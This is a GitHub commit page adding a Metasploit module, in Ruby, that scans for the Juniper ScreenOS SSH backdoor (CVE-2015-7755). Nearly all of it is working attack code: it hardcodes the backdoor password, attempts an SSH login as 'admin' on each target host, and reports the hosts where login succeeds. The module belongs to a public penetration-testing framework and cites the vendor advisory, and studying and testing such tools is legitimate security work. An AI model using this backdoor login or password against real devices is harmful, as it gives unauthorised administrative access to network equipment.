Skip to content

Commit d35b5e9

Browse files
author
h00die
committed
First add of CVE-2015-7755
1 parent 85ab9d3 commit d35b5e9

File tree

1 file changed

+80
-0
lines changed

1 file changed

+80
-0
lines changed
Lines changed: 80 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,80 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
class MetasploitModule < Msf::Auxiliary
7+
8+
require 'net/ssh'
9+
include Msf::Auxiliary::Scanner
10+
include Msf::Auxiliary::Report
11+
# include Msf::Auxiliary::CommandShell
12+
13+
def initialize(info = {})
14+
super(update_info(info,
15+
'Name' => 'Juniper SSH Backdoor Scanner',
16+
'Description' => %q{
17+
This module scans for the Juniper SSH backdoor. Also valid on telnet.
18+
A username is required, and hte password is <<< %s(un='%s') = %u
19+
},
20+
'Author' => [
21+
'hdm', # discovery
22+
'h00die <[email protected]>' # Module
23+
],
24+
'References' => [
25+
['CVE', '2015-7755'],
26+
['URL', 'https://community.rapid7.com/community/infosec/blog/2015/12/20/cve-2015-7755-juniper-screenos-authentication-backdoor'],
27+
['URL', 'https://kb.juniper.net/InfoCenter/index?page=content&id=JSA10713&cat=SIRT_1&actp=LIST']
28+
],
29+
'DisclosureDate' => 'Dec 20 2015',
30+
'License' => MSF_LICENSE
31+
))
32+
33+
register_options([
34+
Opt::RPORT(22)
35+
])
36+
37+
register_advanced_options([
38+
OptBool.new('SSH_DEBUG', [false, 'SSH debugging', false]),
39+
OptInt.new('SSH_TIMEOUT', [false, 'SSH timeout', 10])
40+
])
41+
end
42+
43+
def run_host(ip)
44+
ssh_opts = {
45+
port: rport,
46+
auth_methods: ['password', 'keyboard-interactive'],
47+
password: '<<< %s(un=\'%s\') = %u'
48+
}
49+
50+
ssh_opts.merge!(verbose: :debug) if datastore['SSH_DEBUG']
51+
52+
begin
53+
ssh = Timeout.timeout(datastore['SSH_TIMEOUT']) do
54+
Net::SSH.start(
55+
ip,
56+
'admin',
57+
ssh_opts
58+
)
59+
end
60+
rescue Net::SSH::Exception => e
61+
vprint_error("#{ip}:#{rport} - #{e.class}: #{e.message}")
62+
return
63+
end
64+
65+
if ssh
66+
print_good("#{ip}:#{rport} - Logged in with backdoor account admin:<<< %s(un=\'%s\') = %u")
67+
report_vuln(
68+
:host => ip,
69+
:name => self.name,
70+
:refs => self.references,
71+
:info => ssh.transport.server_version.version
72+
)
73+
end
74+
end
75+
76+
def rport
77+
datastore['RPORT']
78+
end
79+
80+
end

0 commit comments

Comments
 (0)